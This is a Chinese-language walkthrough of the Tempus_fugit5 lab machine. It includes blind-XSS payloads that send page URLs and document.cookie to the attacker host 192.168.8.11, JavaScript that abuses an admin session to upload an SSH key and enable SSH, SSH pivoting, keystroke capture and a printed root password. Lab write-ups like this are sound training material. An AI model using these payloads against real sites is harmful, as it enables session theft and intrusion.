富有想象力的XSS盲打:靶机练习之Tempus_fugit5

信息搜集

主机发现

复制代码
nmap -sn 192.168.8.0/24

端口扫描

复制代码
nmap -sT --min-rate 10000 -p- 192.168.8.3
复制代码
nmap -sT -sC -sV -O 192.168.8.3 -p80 

只有一个80端口,nginx服务器

nginx页面泄露了一个邮箱

子域名枚举

复制代码
gobuster vhost -u 192.168.8.3 --domain mofo.org -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

拿到三个域名

复制代码
admin.mofo.org
www.mofo.org
snap.mofo.org

一个可以拍摄快照,访问页面并截图

管理admin提示需要内网ip访问

有一个发邮件的位置

快照功能测试

admin的home页面

admin的key页面

admin的staff页面

admin的logs页面

盲打xss

抓包测试

抓包后发现会先检测csrf字段,先测试修改csrf能否成功发送

直接删掉csrf也能发送,可能后端就没有做任何校验

测试出只有邮件字段做了校验

注入3个payload

复制代码
<img src=x onerror="new Image().src='http://192.168.8.11/xss-01/?u='+encodeURIComponent(location.href)">

<img src=x onerror="new Image().src='http://192.168.8.11/xss-02/?u='+encodeURIComponent(location.href)">

<img src=x onerror="new Image().src='http://192.168.8.11/xss-03/?u='+encodeURIComponent(document.cookie)">

分析一下payload

复制代码
 执行流程:
  1. <img src=x> 加载失败,触发 onerror
  2. onerror 新建一个对象 改为攻击者服务器的 URL
  3. 发起一次恶意url请求
  4. 结束
ps:比起onerror="this.src"让客户端陷入死循环和大量服务端噪音日志,新建对象会更隐蔽,危害性也更小

同时记得url编码

监听访问日志

同步启用kali apache2服务

等待一段时间,发现xss-03有了回显,说明csrf字段是可以注入xss执行js脚本的

泄露的文件是一个空白页面

尝试偷cookie

复制代码
<img+src%3dx+onerror%3d"new+Image().src%3d'http%3a//192.168.8.11/xss-03/%3fu%3d'%2bencodeURIComponent(document.cookie)">

没有多余的信息, cookie 大概率是 HttpOnly做了限制

尝试盲打上传ssh密钥

本机生成私钥

复制代码
ssh-keygen -t rsa -b 4096 -f ./id_rsa -C "tempus5"
复制代码
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5

js脚本上传私钥

http://admin.mofo.org/key页面,上传文件,xhr提交form表单提交

js 复制代码
var xhr= new XMLHttpRequest();
var formData = new FormData();
var sshKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5';
var fileBlob = new Blob([sshKey],{type: 'application/octet-stream'});
formData.append('file',fileBlob,'id_rsa.pub');
formData.append('Submit','Submit');
xhr.open('POST','http://admin.mofo.org/key',false);
xhr.send(formData);

注入payload

复制代码
<img src=x onerror="payload">

等待一段时间后,成功上传

js激活ssh

js 复制代码
var xhr= new XMLHttpRequest();
xhr.open('POST','http://admin.mofo.org/',false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send('Submit=Enable+SSH');

成功激活

端口已经打开

用户ctorres

跳板机登录

复制代码
ssh -p2222 ctorres@192.168.8.3 -i id_rsa

登录提示被一块垫脚石中止

联想到有一个内网的ip192.168.150.1

尝试跳板机登录

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1

依然报错查看日志

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1 -vv

需要校验root目录下面的密钥,把文件复制到对应目录

成功拿到shell

提权

邮件文件泄露

send文件中显示员工ctorres似乎和上级领导有矛盾,发了一个邮件给外部人员,提示注入了payload

还有两个内部ip

hosts解析信息泄露

复制代码
127.0.0.1       localhost
127.0.1.1       TempusFugit5.mofo.org   TempusFugit5
192.168.150.1   tempusfugit5.mofo.org
192.168.150.10  snap.mofo.org
192.168.150.11  www.mofo.org
192.168.150.13  surfer.mofo.org
192.168.150.15  pass.mofo.org
192.168.150.1   admin.mofo.org

pass.mofo.org被植入了恶意脚本,似乎是监听键盘按键的

流量劫持

复制代码
python3 -m http.server --bind 192.168.150.1 4444 | tee keys.log
复制代码
grep -iE "key=" keys.log | tee keys.log

awk -F'key=' '{print $2}' keys.log |  awk '{printf "%c", $1}'
复制代码
hjanusisHi5CmhKNl9Tr0vVB

拿到了账号和密码

端口转发

两种端口转发都可以

复制代码
ssh -i id_rsa -J ctorres@192.168.8.3:2222 -L 81:192.168.150.15:80 ctorres@192.168.150.1 -N

ssh -o ProxyCommand="ssh -i ./id_rsa -W %h:%p -p 2222 ctorres@192.168.8.3" -N -L 81:192.168.150.15:80 -i id_rsa ctorres@192.168.150.1

session存活时间改一下

成功登录

root密码

复制代码
>,sdrXCaNaKj

成功拿到root

相关推荐
Mr YiRan5 小时前
网络请求API监控与网络切换埋点
android·网络
zander2587 小时前
知识分享平台项目复习第二天:登录模块中的双令牌与刷新安全(2)
xss·csrf·cors·登录模块·cookie的三个属性
国际云,接待8 小时前
华为云 EVS 性能诊断:用 CES、ECS QoS 与 fio 定位 IOPS 和吞吐瓶颈
服务器
智恒百亿11 小时前
RTX 5090 八卡服务器 vs RTX PRO 6000 整机:AI 推理、微调与渲染选型部署指南
运维·服务器·rtx5090
ManageEngineITSM11 小时前
DevOps和ITIL是什么关系?是替代还是互补一文讲清
java·服务器·资产管理·变更管理
当下新鲜事11 小时前
车间实测记录:三菱电机MR-J5伺服与压力控制方案的场景适配
网络·物联网·业界资讯
码少女12 小时前
Linux--多路转接之select
java·服务器·数据库
门思科技12 小时前
开源网关有哪些:主流类型梳理
网络·python·物联网
llilian_1613 小时前
北斗授时卡同步解决方案 gnss授时卡 计算机时间同步板卡
大数据·网络·人工智能·功能测试·51单片机
Vicky_time13 小时前
跨境物流系统架构:美国海外仓与FBA中转海外仓选型技术方案评测
网络·人工智能